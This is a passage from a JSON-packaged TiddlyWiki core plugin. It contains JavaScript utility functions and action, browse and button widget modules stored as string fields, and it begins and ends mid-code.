$tw.utils.pad(s.charCodeAt(0).toString(16).toUpperCase(),4);\n\t\t}); // non-ASCII characters\n};\n\n/*\nEscape the RegExp special characters with a preceding backslash\n*/\nexports.escapeRegExp = function(s) {\n    return s.replace(/[\\-\\/\\\\\\^\\$\\*\\+\\?\\.\\(\\)\\|\\[\\]\\{\\}]/g, '\\\\$&');\n};\n\n// Checks whether a link target is external, i.e. not a tiddler title\nexports.isLinkExternal = function(to) {\n\tvar externalRegExp = /^(?:file|http|https|mailto|ftp|irc|news|data|skype):[^\\s<>{}\\[\\]`|\"\\\\^]+(?:\\/|\\b)/i;\n\treturn externalRegExp.test(to);\n};\n\nexports.nextTick = function(fn) {\n/*global window: false */\n\tif(typeof process === \"undefined\") {\n\t\t// Apparently it would be faster to use postMessage - http://dbaron.org/log/20100309-faster-timeouts\n\t\twindow.setTimeout(fn,4);\n\t} else {\n\t\tprocess.nextTick(fn);\n\t}\n};\n\n/*\nConvert a hyphenated CSS property name into a camel case one\n*/\nexports.unHyphenateCss = function(propName) {\n\treturn propName.replace(/-([a-z])/gi, function(match0,match1) {\n\t\treturn match1.toUpperCase();\n\t});\n};\n\n/*\nConvert a camelcase CSS property name into a dashed one (\"backgroundColor\" --> \"background-color\")\n*/\nexports.hyphenateCss = function(propName) {\n\treturn propName.replace(/([A-Z])/g, function(match0,match1) {\n\t\treturn \"-\" + match1.toLowerCase();\n\t});\n};\n\n/*\nParse a text reference of one of these forms:\n* title\n* !!field\n* title!!field\n* title##index\n* etc\nReturns an object with the following fields, all optional:\n* title: tiddler title\n* field: tiddler field name\n* index: JSON property index\n*/\nexports.parseTextReference = function(textRef) {\n\t// Separate out the title, field name and/or JSON indices\n\tvar reTextRef = /(?:(.*?)!!(.+))|(?:(.*?)##(.+))|(.*)/mg,\n\t\tmatch = reTextRef.exec(textRef),\n\t\tresult = {};\n\tif(match && reTextRef.lastIndex === textRef.length) {\n\t\t// Return the parts\n\t\tif(match[1]) {\n\t\t\tresult.title = match[1];\n\t\t}\n\t\tif(match[2]) {\n\t\t\tresult.field = match[2];\n\t\t}\n\t\tif(match[3]) {\n\t\t\tresult.title = match[3];\n\t\t}\n\t\tif(match[4]) {\n\t\t\tresult.index = match[4];\n\t\t}\n\t\tif(match[5]) {\n\t\t\tresult.title = match[5];\n\t\t}\n\t} else {\n\t\t// If we couldn't parse it\n\t\tresult.title = textRef\n\t}\n\treturn result;\n};\n\n/*\nChecks whether a string is a valid fieldname\n*/\nexports.isValidFieldName = function(name) {\n\tif(!name || typeof name !== \"string\") {\n\t\treturn false;\n\t}\n\tname = name.toLowerCase().trim();\n\tvar fieldValidatorRegEx = /^[a-z0-9\\-\\._]+$/mg;\n\treturn fieldValidatorRegEx.test(name);\n};\n\n/*\nExtract the version number from the meta tag or from the boot file\n*/\n\n// Browser version\nexports.extractVersionInfo = function() {\n\tif($tw.packageInfo) {\n\t\treturn $tw.packageInfo.version;\n\t} else {\n\t\tvar metatags = document.getElementsByTagName(\"meta\");\n\t\tfor(var t=0; t<metatags.length; t++) {\n\t\t\tvar m = metatags[t];\n\t\t\tif(m.name === \"tiddlywiki-version\") {\n\t\t\t\treturn m.content;\n\t\t\t}\n\t\t}\n\t}\n\treturn null;\n};\n\n/*\nGet the animation duration in ms\n*/\nexports.getAnimationDuration = function() {\n\treturn parseInt($tw.wiki.getTiddlerText(\"$:/config/AnimationDuration\",\"400\"),10);\n};\n\n/*\nHash a string to a number\nDerived from http://stackoverflow.com/a/15710692\n*/\nexports.hashString = function(str) {\n\treturn str.split(\"\").reduce(function(a,b) {\n\t\ta = ((a << 5) - a) + b.charCodeAt(0);\n\t\treturn a & a;\n\t},0);\n};\n\n/*\nDecode a base64 string\n*/\nexports.base64Decode = function(string64) {\n\tif($tw.browser) {\n\t\t// TODO\n\t\tthrow \"$tw.utils.base64Decode() doesn't work in the browser\";\n\t} else {\n\t\treturn Buffer.from(string64,\"base64\").toString();\n\t}\n};\n\n/*\nConvert a hashmap into a tiddler dictionary format sequence of name:value pairs\n*/\nexports.makeTiddlerDictionary = function(data) {\n\tvar output = [];\n\tfor(var name in data) {\n\t\toutput.push(name + \": \" + data[name]);\n\t}\n\treturn output.join(\"\\n\");\n};\n\n/*\nHigh resolution microsecond timer for profiling\n*/\nexports.timer = function(base) {\n\tvar m;\n\tif($tw.node) {\n\t\tvar r = process.hrtime();\n\t\tm =  r[0] * 1e3 + (r[1] / 1e6);\n\t} else if(window.performance) {\n\t\tm = performance.now();\n\t} else {\n\t\tm = Date.now();\n\t}\n\tif(typeof base !== \"undefined\") {\n\t\tm = m - base;\n\t}\n\treturn m;\n};\n\n/*\nConvert text and content type to a data URI\n*/\nexports.makeDataUri = function(text,type) {\n\ttype = type || \"text/vnd.tiddlywiki\";\n\tvar typeInfo = $tw.config.contentTypeInfo[type] || $tw.config.contentTypeInfo[\"text/plain\"],\n\t\tisBase64 = typeInfo.encoding === \"base64\",\n\t\tparts = [];\n\tparts.push(\"data:\");\n\tparts.push(type);\n\tparts.push(isBase64 ? \";base64\" : \"\");\n\tparts.push(\",\");\n\tparts.push(isBase64 ? text : encodeURIComponent(text));\n\treturn parts.join(\"\");\n};\n\n/*\nUseful for finding out the fully escaped CSS selector equivalent to a given tag. For example:\n\n$tw.utils.tagToCssSelector(\"$:/tags/Stylesheet\") --> tc-tagged-\\%24\\%3A\\%2Ftags\\%2FStylesheet\n*/\nexports.tagToCssSelector = function(tagName) {\n\treturn \"tc-tagged-\" + encodeURIComponent(tagName).replace(/[!\"#$%&'()*+,\\-./:;<=>?@[\\\\\\]^`{\\|}~,]/mg,function(c) {\n\t\treturn \"\\\\\" + c;\n\t});\n};\n\n/*\nIE does not have sign function\n*/\nexports.sign = Math.sign || function(x) {\n\tx = +x; // convert to a number\n\tif (x === 0 || isNaN(x)) {\n\t\treturn x;\n\t}\n\treturn x > 0 ? 1 : -1;\n};\n\n/*\nIE does not have an endsWith function\n*/\nexports.strEndsWith = function(str,ending,position) {\n\tif(str.endsWith) {\n\t\treturn str.endsWith(ending,position);\n\t} else {\n\t\tif (typeof position !== 'number' || !isFinite(position) || Math.floor(position) !== position || position > str.length) {\n\t\t\tposition = str.length;\n\t\t}\n\t\tposition -= ending.length;\n\t\tvar lastIndex = str.indexOf(ending, position);\n\t\treturn lastIndex !== -1 && lastIndex === position;\n\t}\n};\n\n})();\n",
            "type": "application/javascript",
            "module-type": "utils"
        },
        "$:/core/modules/widgets/action-createtiddler.js": {
            "title": "$:/core/modules/widgets/action-createtiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/action-createtiddler.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to create a new tiddler with a unique name and specified fields.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar CreateTiddlerWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nCreateTiddlerWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nCreateTiddlerWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nCreateTiddlerWidget.prototype.execute = function() {\n\tthis.actionBaseTitle = this.getAttribute(\"$basetitle\");\n\tthis.actionSaveTitle = this.getAttribute(\"$savetitle\");\n\tthis.actionTimestamp = this.getAttribute(\"$timestamp\",\"yes\") === \"yes\";\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nCreateTiddlerWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif($tw.utils.count(changedAttributes) > 0) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nCreateTiddlerWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tvar title = this.wiki.generateNewTitle(this.actionBaseTitle),\n\t\tfields = {},\n\t\tcreationFields,\n\t\tmodificationFields;\n\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\tif(name.charAt(0) !== \"$\") {\n\t\t\tfields[name] = attribute;\n\t\t}\n\t});\n\tif(this.actionTimestamp) {\n\t\tcreationFields = this.wiki.getCreationFields();\n\t\tmodificationFields = this.wiki.getModificationFields();\n\t}\n\tvar tiddler = this.wiki.addTiddler(new $tw.Tiddler(creationFields,fields,modificationFields,{title: title}));\n\tif(this.actionSaveTitle) {\n\t\tthis.wiki.setTextReference(this.actionSaveTitle,title,this.getVariable(\"currentTiddler\"));\n\t}\n\treturn true; // Action was invoked\n};\n\nexports[\"action-createtiddler\"] = CreateTiddlerWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/action-deletefield.js": {
            "title": "$:/core/modules/widgets/action-deletefield.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/action-deletefield.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to delete fields of a tiddler.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DeleteFieldWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDeleteFieldWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDeleteFieldWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nDeleteFieldWidget.prototype.execute = function() {\n\tthis.actionTiddler = this.getAttribute(\"$tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.actionField = this.getAttribute(\"$field\");\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nDeleteFieldWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"$tiddler\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nDeleteFieldWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tvar self = this,\n\t\ttiddler = this.wiki.getTiddler(self.actionTiddler),\n\t\tremoveFields = {},\n\t\thasChanged = false;\n\tif(this.actionField) {\n\t\tremoveFields[this.actionField] = undefined;\n\t\tif(this.actionField in tiddler.fields) {\n\t\t\thasChanged = true;\n\t\t}\n\t}\n\tif(tiddler) {\n\t\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\t\tif(name.charAt(0) !== \"$\" && name !== \"title\") {\n\t\t\t\tremoveFields[name] = undefined;\n\t\t\t\thasChanged = true;\n\t\t\t}\n\t\t});\n\t\tif(hasChanged) {\n\t\t\tthis.wiki.addTiddler(new $tw.Tiddler(this.wiki.getCreationFields(),tiddler,removeFields,this.wiki.getModificationFields()));\t\t\t\n\t\t}\n\t}\n\treturn true; // Action was invoked\n};\n\nexports[\"action-deletefield\"] = DeleteFieldWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/action-deletetiddler.js": {
            "title": "$:/core/modules/widgets/action-deletetiddler.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/action-deletetiddler.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to delete a tiddler.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar DeleteTiddlerWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nDeleteTiddlerWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nDeleteTiddlerWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nDeleteTiddlerWidget.prototype.execute = function() {\n\tthis.actionFilter = this.getAttribute(\"$filter\");\n\tthis.actionTiddler = this.getAttribute(\"$tiddler\");\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nDeleteTiddlerWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"$filter\"] || changedAttributes[\"$tiddler\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nDeleteTiddlerWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tvar tiddlers = [];\n\tif(this.actionFilter) {\n\t\ttiddlers = this.wiki.filterTiddlers(this.actionFilter,this);\n\t}\n\tif(this.actionTiddler) {\n\t\ttiddlers.push(this.actionTiddler);\n\t}\n\tfor(var t=0; t<tiddlers.length; t++) {\n\t\tthis.wiki.deleteTiddler(tiddlers[t]);\n\t}\n\treturn true; // Action was invoked\n};\n\nexports[\"action-deletetiddler\"] = DeleteTiddlerWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/action-listops.js": {
            "title": "$:/core/modules/widgets/action-listops.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/action-listops.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to apply list operations to any tiddler field (defaults to the 'list' field of the current tiddler)\n\n\\*/\n(function() {\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\nvar ActionListopsWidget = function(parseTreeNode, options) {\n\tthis.initialise(parseTreeNode, options);\n};\n/**\n * Inherit from the base widget class\n */\nActionListopsWidget.prototype = new Widget();\n/**\n * Render this widget into the DOM\n */\nActionListopsWidget.prototype.render = function(parent, nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n/**\n * Compute the internal state of the widget\n */\nActionListopsWidget.prototype.execute = function() {\n\t// Get our parameters\n\tthis.target = this.getAttribute(\"$tiddler\", this.getVariable(\n\t\t\"currentTiddler\"));\n\tthis.filter = this.getAttribute(\"$filter\");\n\tthis.subfilter = this.getAttribute(\"$subfilter\");\n\tthis.listField = this.getAttribute(\"$field\", \"list\");\n\tthis.listIndex = this.getAttribute(\"$index\");\n\tthis.filtertags = this.getAttribute(\"$tags\");\n};\n/**\n * \tRefresh the widget by ensuring our attributes are up to date\n */\nActionListopsWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes.$tiddler || changedAttributes.$filter ||\n\t\tchangedAttributes.$subfilter || changedAttributes.$field ||\n\t\tchangedAttributes.$index || changedAttributes.$tags) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n/**\n * \tInvoke the action associated with this widget\n */\nActionListopsWidget.prototype.invokeAction = function(triggeringWidget,\n\tevent) {\n\t//Apply the specified filters to the lists\n\tvar field = this.listField,\n\t\tindex,\n\t\ttype = \"!!\",\n\t\tlist = this.listField;\n\tif(this.listIndex) {\n\t\tfield = undefined;\n\t\tindex = this.listIndex;\n\t\ttype = \"##\";\n\t\tlist = this.listIndex;\n\t}\n\tif(this.filter) {\n\t\tthis.wiki.setText(this.target, field, index, $tw.utils.stringifyList(\n\t\t\tthis.wiki\n\t\t\t.filterTiddlers(this.filter, this)));\n\t}\n\tif(this.subfilter) {\n\t\tvar subfilter = \"[list[\" + this.target + type + list + \"]] \" + this.subfilter;\n\t\tthis.wiki.setText(this.target, field, index, $tw.utils.stringifyList(\n\t\t\tthis.wiki\n\t\t\t.filterTiddlers(subfilter, this)));\n\t}\n\tif(this.filtertags) {\n\t\tvar tiddler = this.wiki.getTiddler(this.target),\n\t\t\toldtags = tiddler ? (tiddler.fields.tags || []).slice(0) : [],\n\t\t\ttagfilter = \"[list[\" + this.target + \"!!tags]] \" + this.filtertags,\n\t\t\tnewtags = this.wiki.filterTiddlers(tagfilter,this);\n\t\tif($tw.utils.stringifyList(oldtags.sort()) !== $tw.utils.stringifyList(newtags.sort())) {\n\t\t\tthis.wiki.setText(this.target,\"tags\",undefined,$tw.utils.stringifyList(newtags));\t\t\t\n\t\t}\n\t}\n\treturn true; // Action was invoked\n};\n\nexports[\"action-listops\"] = ActionListopsWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/action-navigate.js": {
            "title": "$:/core/modules/widgets/action-navigate.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/action-navigate.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to navigate to a tiddler\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar NavigateWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nNavigateWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nNavigateWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nNavigateWidget.prototype.execute = function() {\n\tthis.actionTo = this.getAttribute(\"$to\");\n\tthis.actionScroll = this.getAttribute(\"$scroll\");\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nNavigateWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"$to\"] || changedAttributes[\"$scroll\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nNavigateWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tevent = event || {};\n\tvar bounds = triggeringWidget && triggeringWidget.getBoundingClientRect && triggeringWidget.getBoundingClientRect(),\n\t\tsuppressNavigation = event.metaKey || event.ctrlKey || (event.button === 1);\n\tif(this.actionScroll === \"yes\") {\n\t\tsuppressNavigation = false;\n\t} else if(this.actionScroll === \"no\") {\n\t\tsuppressNavigation = true;\n\t}\n\tthis.dispatchEvent({\n\t\ttype: \"tm-navigate\",\n\t\tnavigateTo: this.actionTo === undefined ? this.getVariable(\"currentTiddler\") : this.actionTo,\n\t\tnavigateFromTitle: this.getVariable(\"storyTiddler\"),\n\t\tnavigateFromNode: triggeringWidget,\n\t\tnavigateFromClientRect: bounds && { top: bounds.top, left: bounds.left, width: bounds.width, right: bounds.right, bottom: bounds.bottom, height: bounds.height\n\t\t},\n\t\tnavigateSuppressNavigation: suppressNavigation\n\t});\n\treturn true; // Action was invoked\n};\n\nexports[\"action-navigate\"] = NavigateWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/action-sendmessage.js": {
            "title": "$:/core/modules/widgets/action-sendmessage.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/action-sendmessage.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to send a message\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar SendMessageWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nSendMessageWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nSendMessageWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nSendMessageWidget.prototype.execute = function() {\n\tthis.actionMessage = this.getAttribute(\"$message\");\n\tthis.actionParam = this.getAttribute(\"$param\");\n\tthis.actionName = this.getAttribute(\"$name\");\n\tthis.actionValue = this.getAttribute(\"$value\",\"\");\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nSendMessageWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(Object.keys(changedAttributes).length) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nSendMessageWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\t// Get the string parameter\n\tvar param = this.actionParam;\n\t// Assemble the attributes as a hashmap\n\tvar paramObject = Object.create(null);\n\tvar count = 0;\n\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\tif(name.charAt(0) !== \"$\") {\n\t\t\tparamObject[name] = attribute;\n\t\t\tcount++;\n\t\t}\n\t});\n\t// Add name/value pair if present\n\tif(this.actionName) {\n\t\tparamObject[this.actionName] = this.actionValue;\n\t}\n\t// Dispatch the message\n\tthis.dispatchEvent({\n\t\ttype: this.actionMessage,\n\t\tparam: param,\n\t\tparamObject: paramObject,\n\t\ttiddlerTitle: this.getVariable(\"currentTiddler\"),\n\t\tnavigateFromTitle: this.getVariable(\"storyTiddler\"),\n\t\tevent: event\n\t});\n\treturn true; // Action was invoked\n};\n\nexports[\"action-sendmessage\"] = SendMessageWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/action-setfield.js": {
            "title": "$:/core/modules/widgets/action-setfield.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/action-setfield.js\ntype: application/javascript\nmodule-type: widget\n\nAction widget to set a single field or index on a tiddler.\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar SetFieldWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nSetFieldWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nSetFieldWidget.prototype.render = function(parent,nextSibling) {\n\tthis.computeAttributes();\n\tthis.execute();\n};\n\n/*\nCompute the internal state of the widget\n*/\nSetFieldWidget.prototype.execute = function() {\n\tthis.actionTiddler = this.getAttribute(\"$tiddler\",this.getVariable(\"currentTiddler\"));\n\tthis.actionField = this.getAttribute(\"$field\");\n\tthis.actionIndex = this.getAttribute(\"$index\");\n\tthis.actionValue = this.getAttribute(\"$value\");\n\tthis.actionTimestamp = this.getAttribute(\"$timestamp\",\"yes\") === \"yes\";\n};\n\n/*\nRefresh the widget by ensuring our attributes are up to date\n*/\nSetFieldWidget.prototype.refresh = function(changedTiddlers) {\n\tvar changedAttributes = this.computeAttributes();\n\tif(changedAttributes[\"$tiddler\"] || changedAttributes[\"$field\"] || changedAttributes[\"$index\"] || changedAttributes[\"$value\"]) {\n\t\tthis.refreshSelf();\n\t\treturn true;\n\t}\n\treturn this.refreshChildren(changedTiddlers);\n};\n\n/*\nInvoke the action associated with this widget\n*/\nSetFieldWidget.prototype.invokeAction = function(triggeringWidget,event) {\n\tvar self = this,\n\t\toptions = {};\n\toptions.suppressTimestamp = !this.actionTimestamp;\n\tif((typeof this.actionField == \"string\") || (typeof this.actionIndex == \"string\")  || (typeof this.actionValue == \"string\")) {\n\t\tthis.wiki.setText(this.actionTiddler,this.actionField,this.actionIndex,this.actionValue,options);\n\t}\n\t$tw.utils.each(this.attributes,function(attribute,name) {\n\t\tif(name.charAt(0) !== \"$\") {\n\t\t\tself.wiki.setText(self.actionTiddler,name,undefined,attribute,options);\n\t\t}\n\t});\n\treturn true; // Action was invoked\n};\n\nexports[\"action-setfield\"] = SetFieldWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/browse.js": {
            "title": "$:/core/modules/widgets/browse.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/browse.js\ntype: application/javascript\nmodule-type: widget\n\nBrowse widget for browsing for files to import\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar BrowseWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nBrowseWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nBrowseWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create element\n\tvar domNode = this.document.createElement(\"input\");\n\tdomNode.setAttribute(\"type\",\"file\");\n\tif(this.browseMultiple) {\n\t\tdomNode.setAttribute(\"multiple\",\"multiple\");\n\t}\n\tif(this.tooltip) {\n\t\tdomNode.setAttribute(\"title\",this.tooltip);\n\t}\n\t// Nw.js supports \"nwsaveas\" to force a \"save as\" dialogue that allows a new or existing file to be selected\n\tif(this.nwsaveas) {\n\t\tdomNode.setAttribute(\"nwsaveas\",this.nwsaveas);\n\t}\n\t// Nw.js supports \"webkitdirectory\" and \"nwdirectory\" to allow a directory to be selected\n\tif(this.webkitdirectory) {\n\t\tdomNode.setAttribute(\"webkitdirectory\",this.webkitdirectory);\n\t}\n\tif(this.nwdirectory) {\n\t\tdomNode.setAttribute(\"nwdirectory\",this.nwdirectory);\n\t}\n\t// Add a click event handler\n\tdomNode.addEventListener(\"change\",function (event) {\n\t\tif(self.message) {\n\t\t\tself.dispatchEvent({type: self.message, param: self.param, files: event.target.files});\n\t\t} else {\n\t\t\tself.wiki.readFiles(event.target.files,{\n\t\t\t\tcallback: function(tiddlerFieldsArray) {\n\t\t\t\t\tself.dispatchEvent({type: \"tm-import-tiddlers\", param: JSON.stringify(tiddlerFieldsArray)});\n\t\t\t\t},\n\t\t\t\tdeserializer: self.deserializer\n\t\t\t});\n\t\t}\n\t\treturn false;\n\t},false);\n\t// Insert element\n\tparent.insertBefore(domNode,nextSibling);\n\tthis.renderChildren(domNode,null);\n\tthis.domNodes.push(domNode);\n};\n\n/*\nCompute the internal state of the widget\n*/\nBrowseWidget.prototype.execute = function() {\n\tthis.browseMultiple = this.getAttribute(\"multiple\");\n\tthis.deserializer = this.getAttribute(\"deserializer\");\n\tthis.message = this.getAttribute(\"message\");\n\tthis.param = this.getAttribute(\"param\");\n\tthis.tooltip = this.getAttribute(\"tooltip\");\n\tthis.nwsaveas = this.getAttribute(\"nwsaveas\");\n\tthis.webkitdirectory = this.getAttribute(\"webkitdirectory\");\n\tthis.nwdirectory = this.getAttribute(\"nwdirectory\");\n};\n\n/*\nSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n*/\nBrowseWidget.prototype.refresh = function(changedTiddlers) {\n\treturn false;\n};\n\nexports.browse = BrowseWidget;\n\n})();\n",
            "type": "application/javascript",
            "module-type": "widget"
        },
        "$:/core/modules/widgets/button.js": {
            "title": "$:/core/modules/widgets/button.js",
            "text": "/*\\\ntitle: $:/core/modules/widgets/button.js\ntype: application/javascript\nmodule-type: widget\n\nButton widget\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nvar ButtonWidget = function(parseTreeNode,options) {\n\tthis.initialise(parseTreeNode,options);\n};\n\n/*\nInherit from the base widget class\n*/\nButtonWidget.prototype = new Widget();\n\n/*\nRender this widget into the DOM\n*/\nButtonWidget.prototype.render = function(parent,nextSibling) {\n\tvar self = this;\n\t// Remember parent\n\tthis.parentDomNode = parent;\n\t// Compute attributes and execute state\n\tthis.computeAttributes();\n\tthis.execute();\n\t// Create element\n\tvar tag = \"button\";\n\tif(this.buttonTag && $tw.config.htmlUnsafeElements.indexOf(this.buttonTag) === -1) {\n\t\ttag = this.buttonTag;\n\t}\n\tvar domNode = this.document.createElement(tag);\n\t// Assign classes\n\tvar classes = this[\"class\"].split(\" \") || [],\n\t\tisPoppedUp = (this.popup || this.popupTitle) && this.isPoppedUp();\n\tif(this.selectedClass) {\n\t\tif((this.set || this.setTitle) && this.setTo && this.isSelected()) {\n\t\t\t$tw.utils.pushTop(classes,this.selectedClass.split(\" \"));\n\t\t}\n\t\tif(isPoppedUp) {\n\t\t\t$tw.utils.pushTop(classes,this.selectedClass.split(\" \"));\n\t\t}\n\t}\n\tif(isPoppedUp) {\n\t\t$tw.utils.pushTop(classes,\"tc-popup-handle\");\n\t}\n\tdomNode.className = classes.join(\" \");\n\t// Assign other attributes\n\tif(this.style) {\n\t\tdomNode.setAttribute(\"style\",this.style);\n\t}\n\tif(this.tooltip) {\n\t\tdomNode.setAttribute(\"title\",this.tooltip);\n\t}\n\tif(this[\"aria-label\"]) {\n\t\tdomNode.setAttribute(\"aria-label\",this[\"aria-label\"]);\n\t}\n\t// Add a click event handler\n\tdomNode.addEventListener(\"click\",function (event) {\n\t\tvar handled = false;\n\t\tif(self.invokeActions(self,event)) {\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.to) {\n\t\t\tself.navigateTo(event);\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.message) {\n\t\t\tself.dispatchMessage(event);\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.popup || self.popupTitle) {\n\t\t\tself.triggerPopup(event);\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.set || self.setTitle) {\n\t\t\tself.setTiddler();\n\t\t\thandled = true;\n\t\t}\n\t\tif(self.actions) 